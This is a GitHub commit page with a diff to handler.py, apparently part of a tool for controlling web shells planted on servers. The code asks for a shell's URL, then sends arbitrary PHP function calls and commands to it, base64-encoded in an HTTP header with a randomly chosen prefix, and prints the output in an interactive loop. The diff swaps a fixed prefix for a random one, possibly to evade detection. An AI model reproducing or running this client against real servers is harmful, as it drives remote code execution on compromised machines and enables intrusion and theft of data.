Skip to content

Commit

Permalink
Fixed a bug
Browse files Browse the repository at this point in the history
  • Loading branch information
s0md3v authored May 27, 2018
1 parent f0afd13 commit 4eefa34
Showing 1 changed file with 3 additions and 4 deletions.
7 changes: 3 additions & 4 deletions handler.py
Original file line number Diff line number Diff line change
Expand Up @@ -31,8 +31,6 @@
if shell == '2':
shell = 'ninja'
url = input('%s Enter the URL of shell: ' % que)
else:
exit('%s You can\'t even enter a number correctly?' % bad)
function = input('%s Enter the function to use: ' % que)
if not url.startswith('http'):
url = 'http://' + url
Expand All @@ -56,9 +54,10 @@ def requester(url, payload, shell):
payload = '?f=%s&c=%s&p=%s' % (function, payload, passwd)
print (requests.get(url + payload , headers=headers).text)
elif shell == 'ninja':
payload = 'j' + (base64.b64encode((function + '(' + payload + ')').encode('utf-8'))).decode('utf-8')
bases = ['T', 'w', 'F', 'v', 'Z', 'n']
payload = random.choice(bases) + (base64.b64encode((function + '(' + payload + ')').encode('utf-8'))).decode('utf-8')
headers['x'] = payload
print (requests.get(url, headers=headers).text)
while True:
payload = input('%s>%s ' % (green, end))
requester(url, payload, shell)
requester(url, payload, shell)

0 comments on commit 4eefa34

Please sign in to comment.